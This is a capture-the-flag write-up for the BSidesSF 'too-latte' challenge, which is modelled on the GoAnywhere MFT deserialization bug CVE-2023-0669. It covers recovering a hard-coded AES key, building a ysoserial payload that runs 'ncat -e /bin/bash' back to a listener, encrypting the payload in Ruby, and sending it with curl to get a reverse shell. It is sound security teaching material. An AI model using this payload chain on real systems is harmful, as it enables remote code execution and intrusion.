too-latte
is a challenge I wrote based on
CVE-2023-0669,
which is an unsafe deserialization vulnerability in Fortra’s GoAnywhere MFT
software. I modeled all the vulnerable code off, as much as I could, that
codebase. It’s obviously themed quite differently.
Write-up
If you use a tool like jadx to unpack the
servlets, you’ll find, through some layers of indirection, this code in
TokenWorker.java (that operates on the token
parameter):
public static String unbundle(String token, KeyConfig keyConfig) throws Exception {
token = token.substring(0, token.indexOf("$"));
return new String(decompress(verify(decrypt(decode(token.getBytes(StandardCharsets.UTF_8)), keyConfig.getVersion()), keyConfig)), StandardCharsets.UTF_8);
}
The decode
function decodes the token
parameter from Base64
.
The decrypt
function decrypts the token with a static key. The actual decryption
code is under several layers of indirection, because Java is Java, but the
TokenEncryptor
class has a key, IV, and algorithm:
private static final byte[] IV = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
private static final String KEY_ALGORITHM = "AES";
private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
// [...]
// This actually gets a key
private byte[] getInitializationValue() throws Exception {
return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String("cafelatteTokenP@$$wrd".getBytes(), "UTF-8").toCharArray(), new byte[]{12, 56, 72, 86, 73, 99, 35, 44, 35, 97, 45, 45, 89, 23, 33, 67}, 3392, 256)).getEncoded();
}
Instead of figuring out what to do, we can write our own code to call that
function the way we did in flat-white-extra-shot
:
import java.lang.reflect.Method;
import java.util.Arrays;
public class GetKey {
public static void main(String[] args) throws Exception {
Method method = org.bsidessf.ctf.toolatte.TokenEncryptor.class.getDeclaredMethod("getInitializationValue");
method.setAccessible(true);
byte []key = (byte[])method.invoke(null);
System.out.println(Arrays.toString(key));
}
}
Then compile and execute it, using the included .jar file:
$ javac -cp .:./TooLatte.jar GetKey.java
$ java -cp .:./TooLatte.jar GetKey
[-48, 63, 50, 98, -65, -28, -41, -100, -93, -34, -28, -105, -49, -1, 22, -54, 125, -117, -46, 123, -78, -120, -11, 104, -35, -98, 61, 65, -11, -55, 79, -20]
Now that we have all the crypto information, we can replicate decrypt()
! The
next thing on our list of functions is verify()
:
private static byte[] verify(byte[] data, KeyConfig keyConfig) throws Exception {
ObjectInputStream objectInputStream = null;
PublicKey publicKey = getPublicKey(keyConfig);
ObjectInputStream objectInputStream2 = new ObjectInputStream(new ByteArrayInputStream(data));
SignedObject signedObject = (SignedObject) objectInputStream2.readObject();
if (!signedObject.verify(publicKey, Signature.getInstance("SHA512withRSA"))) {
throw new IOException("Unable to verify signature! Did you send us a Token Request by mistake?");
}
byte[] outData = ((SignedContainer) signedObject.getObject()).getData();
if (objectInputStream2 != null) {
objectInputStream2.close();
}
return outData;
}
If you’re familiar with Java security, there’s a huge red flag there -
ObjectInputStream
! That’s a deserialization sink - in other words, if we can
control the data going into it (which we can!), we can run arbitrary commands!
Passing the verification doesn’t matter, nor does anything after it. We can now grab ysoserial, create a payload, encrypt it, and send it along.
First, let’s generate a payload (I’ve intentionally included the necessary
files for CommonBeanutils1
to work):
$ java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 'ncat -e /bin/bash 10.0.0.22 4444' > /tmp/javapayload.ser
Then let’s use irb
(interactive Ruby) to encrypt/encode it:
$ irb
3.1.3 :001 > require 'openssl'
=> true
3.1.3 :002 > require 'base64'
=> true
3.1.3 :003 > payload = File.read('/tmp/javapayload.ser')
=> "\xAC\xED\u0000\u0005sr\u0000\u0017java.util.PriorityQueue\x94\xDA0\xB4\xFB?\x82\xB1\u0003\u0000\u0002I\u0000\u0004sizeL\u0000\ncomparatort\u0...
3.1.3 :004 > cipher = OpenSSL::Cipher.new('AES-256-CBC')
=> #<OpenSSL::Cipher:0x00007fd294a25a58>
3.1.3 :005 > cipher.encrypt
=> #<OpenSSL::Cipher:0x00007fd294a25a58>
3.1.3 :006 > cipher.iv = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
=> "\u0001\u0002\u0003\u0004\u0005\u0006\a\b\t\n\v\f\r\u000E\u000F\u0010"
3.1.3 :007 > cipher.key = "\xd0\x3f\x32\x62\xbf\xe4\xd7\x9c\xa3\xde\xe4\x97\xcf\xff\x16\xca\x7d\x8b\xd2\x7b\xb2\x88\xf5\x68\xdd\x9e\x3d\x41\xf5\xc9\x4f\
xec"
=> "\xD0?2b\xBF\xE4ל\xA3\xDE\xE4\x97\xCF\xFF\u0016\xCA}\x8B\xD2{\xB2\x88\xF5hݞ=A\xF5\xC9O\xEC"
3.1.3 :008 > puts Base64::urlsafe_encode64(cipher.update(payload) + cipher.final()) + "$2"
iRNXnWJjCrdkfbDk2b[......]
Then we start our Netcat listener in one window:
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
And send that payload in another:
$ curl 'http://localhost:8080/validate?token=iRNXnWJjCrdkfbDk2b[......]
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
And in our first window, we get a shell!
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.22.
Ncat: Connection from 10.0.0.22:37132.
whoami
tomcat
cat /flag.txt
CTF{good-work-you-saved-humanity}
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...